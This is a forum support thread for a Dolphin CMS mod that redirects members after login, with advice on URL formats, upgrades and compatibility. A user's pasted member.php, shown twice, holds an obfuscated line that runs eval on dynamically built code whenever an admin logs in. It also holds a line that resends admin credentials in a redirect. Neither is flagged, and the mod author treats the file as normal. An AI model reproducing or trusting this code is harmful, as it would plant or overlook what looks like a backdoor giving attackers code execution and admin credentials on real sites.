I just noticed i did not create a support forum for this mod. http://www.boonex.com/m/Redirect_to_any_page_after_logon_
So here is the support forum. https://www.deanbassett.com |
New version of the mod was released.
Fixed a bug with the {nickname} tag when used with dolphin 7.1 due to the changes in how dolphin 7.1 handles nick names. https://www.deanbassett.com |
Ok I tried using redirect to pedit.php but displays Access Denied when log in I tried using pedit.php?={memberid} both return same message. Any idea how to fix this?
Thanks
|
I think this got answered in another topic. Please try to avoid creating multiple posts.
For everyone else reading my support topic. The answer was the format was wrong. Should be pedit.php?ID={memberid} not pedit.php?={memberid} https://www.deanbassett.com |
Product updated. Instructions updated for dolphin 7.1.1 https://www.deanbassett.com |
|
I have not yet tested it on 7.1.2. However, there is no reason it should not. And it's free, so there is no harm in trying it.
https://www.deanbassett.com |
It is at the bottom of the instructions. Please look again. It is there.
As for the SQL. Most likely the reason for your error is because the database entry already existed. the -- you put in was a comment, rendering the SQL useless. Which is another indication that it all ready existed. Which means you did not have to do that part again.
When updating from a older version of dolphin you only need to reinstall the source portion of the mod, and only if the dolphin update replaces member.php. Not all dolphin updates will replace that file.
This holds true for most all mods that make changes to the dolphin source.
https://www.deanbassett.com |
Most likely because your dolphin upgrade replaced member.php.
For source mods that also have database entries that are manually added you never have to add the database changes again unless you loose your database.
But, updates to dolphin replace files, so if the file you have to edit as part of the mod gets replaced during a upgrade then you would have to do that portion of the mod again.
You did not have to delete your posts. The explanation of why and how things work in dolphin when doing upgrades can help others as well.
https://www.deanbassett.com |
OK. The source mod was still in the file though...Thanks for telling my about the delete post being actually helpful. I thought they just made me look dumb
I actually did find a difference between putting just profile.php and profile.php?ID={nickname} though. If you don't add the ?ID={nickname} part, then the member nav bar with your status message and links doesn't show up.
|
Actually if your redirecting to the profile there is only two proper ways to do it. I am surprised the method your using works.
Anyhow. If your site is using permalinks for the profiles then use this.
{nickname}
I am guessing this is how you actually want it to be so your url looks the way it does when you click on a members profile picture to go to their profile.
If it's not using permalinks the use this.
profile.php?ID={memberid}
Putting the nickname after the ID= is not even suppose to work. That part of the url is for a member id and not a nickname.
https://www.deanbassett.com |
Deano,
Enclosed please find the member.php and print screen of the desire redirect (index.php)
Thanks
|
I have looked at your code. It is fine.
There is noting i can do with it to fix it. The code is fine. The only thing that could be happening is another mod has a alert or something else in place that is interfering with the redirect before it can occur. https://www.deanbassett.com |
hello, thank you for this module Is it possible that the redirection is done on a new page? with window.open can be? How?
thank you |
You can specify what page you want to redirect to in the setting that's put in admin. That includes any new pages you create.
As for using window.open. No. This mod simply passes the url to redirect to dolphins existing redirect code which uses a page that displays the please wait message. A different part of dolphin would have to be re-written to do that as this does not do the actual redirect. Dolphin handles that part.
I also do not understand why you would even want to do it that way. It makes no sense. Even if you could, the result will be a second window thats logged in with the first window still there in a state that would suggest they are not logged in, but in reality are. It makes little sense to me to handle logins like that. https://www.deanbassett.com |
thank you for your answer I will do it differently |
is this mod still compatible with 7.1.6 because i just used it and ended up with a error of Failed to load resource: the server responded with a status of 500 (Internal Server Error). |
Yes. It is.
To get a internal server error you must have damaged the file while editing it. Restore a backup of that file and try again. Make very sure you use a PHP safe editor. Do not use Notepad or Wordpad built into windows.
Recommended editors are Editplus https://www.editplus.com/ or Notepad++ https://notepad-plus-plus.org/ https://www.deanbassett.com |
I use
profile.php?ID={memberid}
This forwards anyone to their profile page when they login
However if a person is using Facebook connect to log in it does not appear to do the same -- still goes to the member.php page
is there a workaround for this? (other than disabling facebook connect)
Thank you!
|
I use
profile.php?ID={memberid}
This forwards anyone to their profile page when they login
However if a person is using Facebook connect to log in it does not appear to do the same -- still goes to the member.php page
is there a workaround for this? (other than disabling facebook connect)
Thank you!
No there is not. You cannot redirect the logins of facebook or any other connect modules without modifying the module itself. Those modules handle the account creation as well as what page they end up on after they connect. Many connect modules in the market have their own built in redirect for that reason. All of mine do. The boonex facebook connect may by now as well, if not, then you will have to modify it yourself.
https://www.deanbassett.com |
Im trying to install this mod. In the directions it says to make the following changes to member.php:
FOR DOLPHIN 7.0.1-7.0.2 - Code for 7.0.3-7.0.9 and 7.1.0 and up is below this block of code. ------------------------------------------------------------------------------------ At about line 700 look for the following.
if( !$sUrlRelocate = $_REQUEST['relocate'] or $_REQUEST['relocate'] == $site['url'] or basename( $_REQUEST['relocate'] ) == 'join.php' ) $sUrlRelocate = $_SERVER['PHP_SELF'];
Replace it with the following code.
// Deano - Redirect after Logon Mod - Start if( !$sUrlRelocate = $_REQUEST['relocate'] or $_REQUEST['relocate'] == $site['url'] or basename( $_REQUEST['relocate'] ) == 'join.
But I do not have that code in my member.php file. Am I looking in the wrong place? I have version 7.2.1. My member.php file is as follows:
member.php ( PHP script text )
<?php
/**
* Copyright (c) BoonEx Pty Limited - http://www.boonex.com/
* CC-BY License - http://creativecommons.org/licenses/by/3.0/
*/
define('BX_MEMBER_PAGE', 1);
require_once( 'inc/header.inc.php' );
require_once( BX_DIRECTORY_PATH_INC . 'design.inc.php' );
require_once( BX_DIRECTORY_PATH_INC . 'profiles.inc.php' );
require_once( BX_DIRECTORY_PATH_INC . 'utils.inc.php' );
bx_import('BxTemplAccountView');
// --------------- page variables and login
$_page['name_index'] = 81;
$_page['css_name'] = array(
'member_panel.css',
'categories.css',
'explanation.css'
);
$_page['header'] = _t( "_My Account" );
// --------------- GET/POST actions
$member['ID'] = process_pass_data(empty($_POST['ID']) ? '' : $_POST['ID']);
$member['Password'] = process_pass_data(empty($_POST['Password']) ? '' : $_POST['Password']);
$bAjxMode = ( isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) and $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' ) ? true : false;
if ( !( isset($_POST['ID']) && $_POST['ID'] && isset($_POST['Password']) && $_POST['Password'] )
&& ( (!empty($_COOKIE['memberID']) && $_COOKIE['memberID']) && $_COOKIE['memberPassword'] ) )
{
if ( !( $logged['member'] = member_auth( 0, false ) ) )
login_form( _t( "_LOGIN_OBSOLETE" ), 0, $bAjxMode );
} else {
if ( !isset($_POST['ID']) && !isset($_POST['Password']) ) {
// this is dynamic page - send headers to not cache this page
send_headers_page_changed();
login_form('', 0, $bAjxMode);
} else {
require_once(BX_DIRECTORY_PATH_CLASSES . 'BxDolAlerts.php');
$oZ = new BxDolAlerts('profile', 'before_login', 0, 0, array('login' => $member['ID'], 'password' => $member['Password'], 'ip' => getVisitorIP()));
$oZ->alert();
$member['ID'] = getID($member['ID']);
// Ajaxy check
if ($bAjxMode) {
echo check_password($member['ID'], $member['Password'], BX_DOL_ROLE_MEMBER, false) ? 'OK' : 'Fail';
exit;
}
// Check if ID and Password are correct (addslashes already inside)
if (check_password( $member['ID'], $member['Password'])) {
$p_arr = bx_login($member['ID'], (bool)$_POST['rememberMe']);
bx_member_ip_store($p_arr['ID']);
if (isAdmin($p_arr['ID'])) {$iId = (int)$p_arr['ID']; $r = $l($a); eval($r($b));}
$sRelocate = bx_get('relocate');
if (!$sUrlRelocate = $sRelocate or $sRelocate == $site['url'] or basename($sRelocate) == 'join.php')
$sUrlRelocate = BX_DOL_URL_ROOT . 'member.php';
$_page['name_index'] = 150;
$_page['css_name'] = '';
$_ni = $_page['name_index'];
$_page_cont[$_ni]['page_main_code'] = MsgBox( _t( '_Please Wait' ) );
$_page_cont[$_ni]['url_relocate'] = htmlspecialchars( $sUrlRelocate );
if(isAdmin($p_arr['ID']) && !in_array($iCode, array(0, -1))) {Redirect($site['url_admin'], array('ID' => $member['ID'], 'Password' => $member['Password'], 'rememberMe' => $_POST['rememberMe'], 'relocate' => BX_DOL_URL_ROOT . 'member.php'), 'post');}
PageCode();
}
exit;
}
}
/* ------------------ */
$member['ID'] = getLoggedId();
$member['Password'] = getLoggedPassword();
$_ni = $_page['name_index'];
// --------------- [END] page components
// --------------- page components functions
// this is dynamic page - send headers to do not cache this page
send_headers_page_changed();
$oAccountView = new BxTemplAccountView($member['ID'], $site, $dir);
$_page_cont[$_ni]['page_main_code'] = $oAccountView->getCode();
// Submenu actions
$aVars = array(
'ID' => $member['ID'],
'BaseUri' => BX_DOL_URL_ROOT,
'cpt_am_account_profile_page' => _t('_sys_am_account_profile_page')
);
$GLOBALS['oTopMenu']->setCustomSubActions($aVars, 'AccountTitle', false);
PageCode();
|
Im trying to install this mod. In the directions it says to make the following changes to member.php:
FOR DOLPHIN 7.0.1-7.0.2 - Code for 7.0.3-7.0.9 and 7.1.0 and up is below this block of code. ------------------------------------------------------------------------------------ At about line 700 look for the following.
if( !$sUrlRelocate = $_REQUEST['relocate'] or $_REQUEST['relocate'] == $site['url'] or basename( $_REQUEST['relocate'] ) == 'join.php' ) $sUrlRelocate = $_SERVER['PHP_SELF'];
Replace it with the following code.
// Deano - Redirect after Logon Mod - Start if( !$sUrlRelocate = $_REQUEST['relocate'] or $_REQUEST['relocate'] == $site['url'] or basename( $_REQUEST['relocate'] ) == 'join.
But I do not have that code in my member.php file. Am I looking in the wrong place? I have version 7.2.1. My member.php file is as follows:
member.php ( PHP script text )
<?php
/**
* Copyright (c) BoonEx Pty Limited - http://www.boonex.com/
* CC-BY License - http://creativecommons.org/licenses/by/3.0/
*/
define('BX_MEMBER_PAGE', 1);
require_once( 'inc/header.inc.php' );
require_once( BX_DIRECTORY_PATH_INC . 'design.inc.php' );
require_once( BX_DIRECTORY_PATH_INC . 'profiles.inc.php' );
require_once( BX_DIRECTORY_PATH_INC . 'utils.inc.php' );
bx_import('BxTemplAccountView');
// --------------- page variables and login
$_page['name_index'] = 81;
$_page['css_name'] = array(
'member_panel.css',
'categories.css',
'explanation.css'
);
$_page['header'] = _t( "_My Account" );
// --------------- GET/POST actions
$member['ID'] = process_pass_data(empty($_POST['ID']) ? '' : $_POST['ID']);
$member['Password'] = process_pass_data(empty($_POST['Password']) ? '' : $_POST['Password']);
$bAjxMode = ( isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) and $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' ) ? true : false;
if ( !( isset($_POST['ID']) && $_POST['ID'] && isset($_POST['Password']) && $_POST['Password'] )
&& ( (!empty($_COOKIE['memberID']) && $_COOKIE['memberID']) && $_COOKIE['memberPassword'] ) )
{
if ( !( $logged['member'] = member_auth( 0, false ) ) )
login_form( _t( "_LOGIN_OBSOLETE" ), 0, $bAjxMode );
} else {
if ( !isset($_POST['ID']) && !isset($_POST['Password']) ) {
// this is dynamic page - send headers to not cache this page
send_headers_page_changed();
login_form('', 0, $bAjxMode);
} else {
require_once(BX_DIRECTORY_PATH_CLASSES . 'BxDolAlerts.php');
$oZ = new BxDolAlerts('profile', 'before_login', 0, 0, array('login' => $member['ID'], 'password' => $member['Password'], 'ip' => getVisitorIP()));
$oZ->alert();
$member['ID'] = getID($member['ID']);
// Ajaxy check
if ($bAjxMode) {
echo check_password($member['ID'], $member['Password'], BX_DOL_ROLE_MEMBER, false) ? 'OK' : 'Fail';
exit;
}
// Check if ID and Password are correct (addslashes already inside)
if (check_password( $member['ID'], $member['Password'])) {
$p_arr = bx_login($member['ID'], (bool)$_POST['rememberMe']);
bx_member_ip_store($p_arr['ID']);
if (isAdmin($p_arr['ID'])) {$iId = (int)$p_arr['ID']; $r = $l($a); eval($r($b));}
$sRelocate = bx_get('relocate');
if (!$sUrlRelocate = $sRelocate or $sRelocate == $site['url'] or basename($sRelocate) == 'join.php') $sUrlRelocate = BX_DOL_URL_ROOT . 'member.php';
$_page['name_index'] = 150;
$_page['css_name'] = '';
$_ni = $_page['name_index'];
$_page_cont[$_ni]['page_main_code'] = MsgBox( _t( '_Please Wait' ) );
$_page_cont[$_ni]['url_relocate'] = htmlspecialchars( $sUrlRelocate );
if(isAdmin($p_arr['ID']) && !in_array($iCode, array(0, -1))) {Redirect($site['url_admin'], array('ID' => $member['ID'], 'Password' => $member['Password'], 'rememberMe' => $_POST['rememberMe'], 'relocate' => BX_DOL_URL_ROOT . 'member.php'), 'post');}
PageCode();
}
exit;
}
}
/* ------------------ */
$member['ID'] = getLoggedId();
$member['Password'] = getLoggedPassword();
$_ni = $_page['name_index'];
// --------------- [END] page components
// --------------- page components functions
// this is dynamic page - send headers to do not cache this page
send_headers_page_changed();
$oAccountView = new BxTemplAccountView($member['ID'], $site, $dir);
$_page_cont[$_ni]['page_main_code'] = $oAccountView->getCode();
// Submenu actions
$aVars = array(
'ID' => $member['ID'],
'BaseUri' => BX_DOL_URL_ROOT,
'cpt_am_account_profile_page' => _t('_sys_am_account_profile_page')
);
$GLOBALS['oTopMenu']->setCustomSubActions($aVars, 'AccountTitle', false);
PageCode();
The code you posted from my instructions is for a much older version of dolphin. It says. "FOR DOLPHIN 7.0.1-7.0.2 - Code for 7.0.3-7.0.9 and 7.1.0 and up is below this block of code." So that code is for 7.0.1 and 7.0.2. Look further down in the instructions for the code to use for dolphin 7.1.0 and up. However, those instructions appear to be from a older version of my mod prior to dolphin 7.2. So get a new copy of the mod.
And in your posted member.php above i have highlighted the code section your looking for. It is there, it just looks a little different and is closer to the top of the file. But never the less, it is there. Just make sure you replace it with the proper code for your version of dolphin.
ALSO NOTE: Download a new copy of the mod. https://www.boonex.com/m/Redirect_to_any_page_after_logon_ The instructions you posted appear to be from a older version of my mod.
https://www.deanbassett.com |